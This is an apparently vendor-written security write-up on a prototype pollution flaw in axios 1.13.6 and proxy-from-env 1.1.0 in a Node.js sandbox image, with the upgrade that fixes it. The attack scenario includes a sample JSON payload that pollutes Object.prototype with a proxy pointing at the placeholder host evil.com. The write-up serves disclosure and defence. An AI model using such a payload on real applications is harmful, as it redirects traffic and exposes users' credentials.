How HTTP Transport Hijacking via Prototype Pollution happens in Node.js axios and how to fix it

How HTTP Transport Hijacking via Prototype Pollution happens in Node.js axios and how to fix it

Introduction

In the agent/sandbox/sandbox_base_image/nodejs/ directory—a production sandbox environment used for executing Node.js code—we discovered a high-severity vulnerability in the locked version of axios (1.13.6). This wasn't a theoretical risk: the sandbox base image serves as the foundation for a web service where request handlers process user-influenced input, making the prototype pollution vector in axios directly exploitable by remote attackers.

The vulnerable dependency chain was explicit in package-lock.json:

"axios": {
  "version": "1.13.6",
  "dependencies": {
    "follow-redirects": "^1.15.11",
    "form-data": "^4.0.5",
    "proxy-from-env": "^1.1.0"
  }
}

The combination of axios 1.13.6 with proxy-from-env 1.1.0 created a scenario where an attacker who could pollute the Object prototype—through any upstream input parsing flaw—could hijack the HTTP transport layer entirely.

The Vulnerability Explained

Prototype pollution in JavaScript occurs when an attacker can inject properties into Object.prototype, causing those properties to appear on all objects that don't explicitly define them. In the context of axios, this is devastating because axios builds request configuration objects through deep merging operations.

Here's why axios 1.13.6 was vulnerable: when axios constructs a request, it merges default configuration with user-provided options. If Object.prototype has been polluted with properties like proxy, baseURL, socketPath, or transport, these polluted values get picked up during the merge because the configuration objects inherit from Object.prototype.

The attack scenario for this specific application:

1. The sandbox base image runs Node.js code that processes external input
2. An attacker finds any code path that performs unsafe object assignment (e.g., a recursive merge, JSON.parse of crafted input with __proto__ keys)
3. The attacker pollutes Object.prototype.proxy with their server address:
   javascript // Attacker-controlled input processed somewhere upstream const malicious = JSON.parse('{"__proto__": {"proxy": {"host": "evil.com", "port": 8080}}}');
4. Every subsequent axios request in the sandbox now routes through evil.com:8080
5. The attacker intercepts API keys, tokens, and sensitive data in transit

The proxy-from-env package at version 1.1.0 compounded this issue. It reads proxy configuration from environment variables but didn't guard against prototype-inherited values being treated as valid configuration, making the proxy resolution logic another avenue for transport hijacking.

Real-world impact for this application: Since this is a sandbox base image for a web service, an attacker could:
- Intercept outbound API calls made by sandboxed code
- Steal credentials passed in HTTP headers
- Modify responses to inject malicious data back into the application
- Perform server-side request forgery (SSRF) by redirecting internal requests

The Fix

The fix upgrades two packages in the dependency chain:

Before (package.json):

"dependencies": {
  "axios": "^1.9.0"
}

After (package.json):

"dependencies": {
  "axios": "^1.15.1"
}

Before (package-lock.json resolved versions):

"axios": {
  "version": "1.13.6",
  "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.6.tgz",
  "dependencies": {
    "follow-redirects": "^1.15.11",
    "form-data": "^4.0.5",
    "proxy-from-env": "^1.1.0"
  }
}

After (package-lock.json resolved versions):

"axios": {
  "version": "1.15.1",
  "resolved": "https://registry.npmjs.org/axios/-/axios-1.15.1.tgz",
  "dependencies": {
    "follow-redirects": "^1.15.11",
    "form-data": "^4.0.5",
    "proxy-from-env": "^2.1.0"
  }
}

The proxy-from-env upgrade from 1.1.0 to 2.1.0 is equally critical:

// Before
"proxy-from-env": {
  "version": "1.1.0",
  "resolved": "https://registry.npmmirror.com/proxy-from-env/-/proxy-from-env-1.1.0.tgz"
}

// After
"proxy-from-env": {
  "version": "2.1.0",
  "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz",
  "engines": {
    "node": ">=10"
  }
}

Why both changes matter:

1. axios 1.15.1 implements safe configuration merging that uses Object.hasOwnProperty() checks or Object.create(null) patterns to prevent prototype-inherited properties from being treated as valid request configuration.

2. proxy-from-env 2.1.0 hardens proxy resolution logic to only read from explicit environment variable sources and own-properties, preventing polluted prototype values from being interpreted as proxy directives.

3. The registry source also changed from registry.npmmirror.com to registry.npmjs.org for proxy-from-env, ensuring the package is resolved from the canonical npm registry—a subtle but important supply chain hygiene improvement.

Prevention & Best Practices

1. Pin and audit dependencies regularly: Use npm audit and tools like Trivy to catch known CVEs in your lock files. The vulnerable version (1.13.6) was resolved despite the semver range ^1.9.0 allowing newer versions—lock files must be actively maintained.

2. Use Object.create(null) for configuration objects: When building configuration objects that will be merged, start from a null-prototype object to prevent prototype chain pollution:
   javascript const config = Object.create(null); config.url = userInput; // Polluted Object.prototype properties won't appear here

3. Freeze Object.prototype in sensitive contexts: In sandbox environments, consider:
   javascript Object.freeze(Object.prototype);

4. Validate and sanitize recursive merges: Any deep merge utility should skip __proto__, constructor, and prototype keys.

5. Use allowlists for configuration properties: Rather than accepting any property in a configuration object, explicitly destructure only expected properties.

6. Implement network-level controls: Even if transport hijacking occurs at the application level, egress filtering and certificate pinning provide defense-in-depth.

Key Takeaways

• axios's configuration merging in versions prior to 1.15.1 was susceptible to prototype pollution, meaning any upstream pollution source in your application could silently redirect all HTTP traffic.
• proxy-from-env 1.1.0 amplified the vulnerability by providing an additional attack surface through proxy resolution logic that didn't guard against inherited properties.
• Sandbox base images require aggressive dependency management because they form the trust boundary for executing potentially untrusted code—a polluted prototype in this context is directly exploitable.
• The registry mirror change (npmmirror.com → npmjs.org) is a supply chain hardening detail that reduces the risk of dependency confusion or mirror-based attacks.
• Semver ranges don't protect you: the ^1.9.0 range technically allowed 1.15.1, but the lock file pinned 1.13.6 until explicitly updated—automated scanning is essential.

How Orbis AppSec Detected This

• Source: User-influenced input processed by the Node.js sandbox environment, which could trigger prototype pollution through various parsing paths (JSON, query strings, form data)
• Sink: axios request configuration merging in node_modules/axios (resolved from agent/sandbox/sandbox_base_image/nodejs/package-lock.json), where polluted prototype properties are consumed as valid transport directives
• Missing control: No prototype pollution guards in axios 1.13.6's configuration merge logic; no own-property checks in proxy-from-env 1.1.0's resolution
• CWE: CWE-1321 — Improperly Controlled Modification of Object Prototype Attributes
• Fix: Upgraded axios from 1.13.6 to 1.15.1 and proxy-from-env from 1.1.0 to 2.1.0, which implement safe property enumeration and prototype-aware configuration handling

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-42033 demonstrates how a seemingly minor flaw in object property handling can escalate into full HTTP transport hijacking. In a sandbox base image that processes user-influenced input, this vulnerability could have allowed attackers to silently intercept all outbound HTTP traffic—capturing API keys, tokens, and sensitive data.

The fix was straightforward: upgrade axios to 1.15.1 and proxy-from-env to 2.1.0. But the lesson runs deeper. Dependency management in Node.js requires continuous vigilance. Lock files must be actively updated, not just generated once. And sandbox environments—where the trust boundary is most critical—deserve the most aggressive scanning and patching cadence.

References

• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes
• OWASP Prototype Pollution Prevention Cheat Sheet
• axios Official Documentation
• Semgrep Prototype Pollution Rules
• fix: upgrade axios to 1.15.1, 0.31.1 (CVE-2026-42033)